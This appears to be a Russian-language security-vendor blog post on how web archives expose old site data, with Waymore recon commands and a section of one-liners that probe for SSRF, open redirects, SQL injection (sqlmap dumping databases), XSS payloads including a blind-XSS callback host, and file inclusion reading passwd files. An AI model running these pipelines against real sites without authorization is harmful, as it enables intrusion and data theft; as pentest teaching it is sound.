Интернет помнит все

Что на самом деле знают и помнят о ваших сайтах? Какие скрытые угрозы можно обнаружить в исторических данных? Подробности в нашей статье про архивы и краулеры!

Дата выхода: Время прочтения статьи:
Интернет помнит все

Введение

Что на самом деле знают и помнят о ваших сайтах? Какие скрытые угрозы можно обнаружить в исторических данных? Многие не подозревают что на самом деле интернет запоминает о сайтах. Существует группа сервисов которые осуществляют постоянный краулинг, сбор данных из открытых источников и агрегацию полученных данных. Среди таких данных может быть и старый функционал сайта, удаленные документы, JavaScript файлы с API токенами и даже сессии пользователей.

Агрегаторы исторических данных

Рассмотрим несколько агрегаторов которые занимаются сбором данных о сайтах:

Эта небольшая группа сервисов может знать о вашем сайте намного больше чем можно было бы представить. Но здесь появляется вопрос, а как собирать данные с этих ресурсов и эффективно их анализировать? В этом нам помогут инструменты которые взаимодействуют с API перечисленных сервисов.

Типы данных и как их получить

В архивах и краулерах хранятся всевозможные данные, в том числе документы и даже их сохраненные версии на момент захвата. Получить данные с этих сервисов можно как в виде списка URL, так и с захваченным на тот момент содержимом файла. Для этого можно использовать такие утилиты, как:

  • Waymore - наиболее полный набор источников
  • GAU - предшественник Waymore, улучшенная версия Waybackurls
  • Waybackurls - классический инструмент для эффективной работы с Веб-архивом

В этой статье рассмотрим работу конкретно с инструментом Waymore так как он возвращает наиболее полные данные. Для сбора только URL можно воспользоваться простой командой:

waymore -i yourtarget.com -mode U -oU waymore_yourtarget.txt

Флаг -modeотвечает за тип возвращаемых данных. U - только ссылки, R - только ответы, B - и ссылки, и ответы (на вывод надо указать файл для ссылок и папку для ответов).

В результате работы инструмента мы получаем все ссылки с указанных ранее сервисов по всем поддоменам для *.yourtarget.com. Тип данных может сильно отличаться в зависимости от того, для какой цели были собраны данные, но зачастую их объем может быть огромным и ручной анализ может занять слишком много времени.

Автоматизация

Для быстрой и эффективной обработки результатов Waymore можем воспользоваться вспомогательными утилитами и быстро обнаружить явные утечки или уязвимости:

  • Сортировка для получения всех *.js файлов:
  1. cat waymore_youraget.txt | grep -E '\.(js|txt|json)$' | sort -u | tee leaks_yourtarget.txt
  • Поиск секретов в *.js файлах:
  1. Mantra: cat leaks_yourtarget.txt | mantra
  2. SecretFinder: cat leaks_yourtarget.txt | while read url; do python3 SecretFinder.py -i $url -o cli >> sortedsecret.txt; done
  3. JSecret: cat leaks_yourtarget.txt | jsecret
  • Server-Side Request Forgery:
  1. Dedupe + QsReplace + httpx: cat waymore_your_target.txt | dedupe -qs | qsreplace "metascan-reflector-link" >> ssrf_yourtarget.txt; httpx -silent -l ssrf_yourtarget.txt -fr
  • Open Redirect:
  1. Dedupe + QsReplace + httpx: cat waymore_your_target.txt | dedupe -qs | qsreplace 'http://example.com' | httpx -fr -title -match-string 'Example Domain'
  • SQL Injection:
  1. Dedupe + anew + SQLmap + ghauri: cat waymore_yourtarget.txt | dedupe -qs | anew sqli_yourtarget.txt && sqlmap -m sqli_yourtarget.txt --batch --random-agent --level 5 --risk 3 --dbs && for i in $(cat sqli_yourtarget.txt); do ghauri -u "$i" --level 3 --dbs --current-db --batch --confirm; done
  • Cross-site Scripting:
  1. uro + Dedupe + QsReplace + httpx: grep -Ev "\.(jpeg|jpg|png|js|ico|gif|css|woff|svg)$" waymore_yourtarget.txt | uro | dedupe -qs | qsreplace "<img src=x onerror=alert(1)>" | httpx -silent -nc -mc 200 -mr "<img src=x onerror=alert(1)>"
  2. httpx + Gxss + dalfox: cat waymore_yourtarget.txt | httpx -silent | Gxss -c 100 -p Xss | grep "URL" | cut -d '"' -f2 | sort -u | dalfox pipe
  3. Blind XSS: grep "=" waymore_yourtarget.txt | dedupe -qs | sed 's/=.*/=/' | sed 's/URL: //' | tee xss_yourtarget.txt ; dalfox file xss_yourtarget.txt -b '//replace-bxss-payload.com' --skip-mining-dom
  • Local File Inclusion:
  1. Dedupe + httpx: cat waymore_yourtarget.txt | dedupe -qs | httpx -silent -path lfi_wordlist.txt -threads 100 -random-agent -x GET,POST -status-code -follow-redirects -mc 200 -mr "root:[x*]:0:0:"

Сценариев быстрой обработки результатов Waymore масса, помимо перечисленных можно придумать и другие. Нередко результат приносит и ручной анализ файла, можно просто отсортировать список URL и бегло посмотреть на какие-то подозрительные ссылки, затем искать в них уязвимости.

Заключение

Всегда важно помнить, что даже старый функционал, который мог быть частично удален, все еще может обрабатываться на стороне сервера, что очень часто приводит к скрытым уязвимостям которые крайне сложно заметить.

Метаскан позволяет обогатить исторические данные собранными в Sitemap по результатам автоматического сканирования, что значительно улучшает покрытие, а наши пентестеры могут помочь вам провести все необходимые проверки для предотвращения атак связанных с историческими данными и старым функционалом.

Среди выявленных недостатков нашим экспертам удалось предотвратить эксплуатацию SQLi на основных приложениях, Open Redirect уязвимостей, обнаружить утечки API ключей для которых забыли сделать ротацию несмотря на удаление файлов где происходило раскрытие.

Интернет помнит все | METASCAN